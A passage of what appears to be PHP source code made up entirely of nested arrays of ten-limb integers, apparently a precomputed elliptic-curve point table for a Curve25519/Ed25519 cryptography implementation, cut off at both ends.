-30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674), array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035), ), array( array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590), array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957), array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812), ), array( array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740), array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122), array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158), ), array( array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885), array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140), array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857), ), array( array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155), array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260), array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483), ), ), array( array( array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677), array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815), array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751), ), array( array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203), array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208), array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230), ), array( array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850), array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389), array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968), ), array( array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689), array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880), array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304), ), array( array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632), array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412), array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566), ), array( array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038), array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232), array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943), ), array( array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856), array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738), array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971), ), array( array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718), array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697), array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883), ), ), array( array( array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912), array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358), array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849), ), array( array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307), array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977), array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335), ), array( array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644), array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616), array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735), ), array( array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099), array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341), array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336), ), array( array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646), array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425), array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388), ), array( array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743), array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822), array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462), ), array( array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985), array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702), array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797), ), array( array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293), array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100), array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688), ), ), array( array( array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186), array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610), array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707), ), array( array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220), array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025), array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044), ), array( array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992), array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027), array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197), ), array( array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901), array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952), array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878), ), array( array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390), array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730), array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730), ), array( array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180), array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272), array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715), ), array( array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970), array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772), array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865), ), array( array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750), array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373), array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348), ), ), array( array( array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144), array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195), array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086), ), array( array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684), array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518), array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233), ), array( array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793), array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794), array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435), ), array( array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921), array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518), array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563), ), array( array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278), array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024), array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030), ), array( array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783), array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717), array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844), ), array( array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333), array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048), array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760), ), array( array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760), array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757), array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112), ), ), array( array( array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468), array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184), array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289), ), array( array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066), array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882), array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226), ), array( array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101), array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279), array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811), ), array( array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709), array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714), array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121), ), array( array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464), array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847), array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400), ), array( array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414), array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158), array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045), ), array( array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415), array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459), array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079), ), array( array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412), array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743), array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836), ), ), array( array( array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022), array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429), array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065), ), array( array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861), array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000), array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101), ), array( array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815), array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642), array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966), ), array( array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574), array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742), array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689), ), array( array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020), array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772), array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982), ), array( array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953), array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218), array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265), ), array( array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073), array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325), array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798), ), array( array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870), array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863), array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927), ), ), array( array( array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267), array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663), array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862), ), array( array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673), array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943), array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020), ), array( array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238), array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064), array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795), ), array( array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052), array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904), array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531), ), array( array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979), array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841), array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431), ), array( array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324), array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940), array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320), ), array( array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184), array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114), array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878), ), array( array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784), array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091), array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585), ), ), array( array( array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208), array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864), array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661), ), array( array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233), array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212), array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525), ), array( array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068), array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397), array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988), ), array( array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889), array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038), array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697), ), array( array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875), array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905), array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656), ), array( array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818), array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714), array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203), ), array( array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931), array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024), array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084), ), array( array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204), array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817), array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667), ), ), array( array( array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504), array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768), array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255), ), array( array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790), array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438), array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333), ), array( array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971), array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905), array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409), ), array( array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409), array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499), array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363), ), array( array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664), array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324), array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940), ), array( array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990), array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914), array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290), ), array( array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257), array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433), array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236), ), array( array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045), array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093), array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347), ), ), array( array( array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191), array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507), array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906), ), array( array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018), array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109), array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926), ), array( array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528), array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625), array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286), ), array( array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033), array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866), array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896), ), array( array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075), array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347), array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437), ), array( array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165), array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588), array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193), ), array( array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017), array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883), array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961), ), array( array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043), array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663), array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362), ), ), array( array( array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860), array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466), array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063), ), array( array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997), array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295), array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369), ), array( array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385), array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109), array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906), ), array( array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424), array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185), array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962), ), array( array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325), array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593), array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404), ), array( array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644), array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801), array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804), ), array( array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884), array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577), array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849), ), array( array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473), array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644), array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319), ), ), array( array( array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599), array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768), array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084), ), array( array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328), array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369), array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920), ), array( array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815), array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, 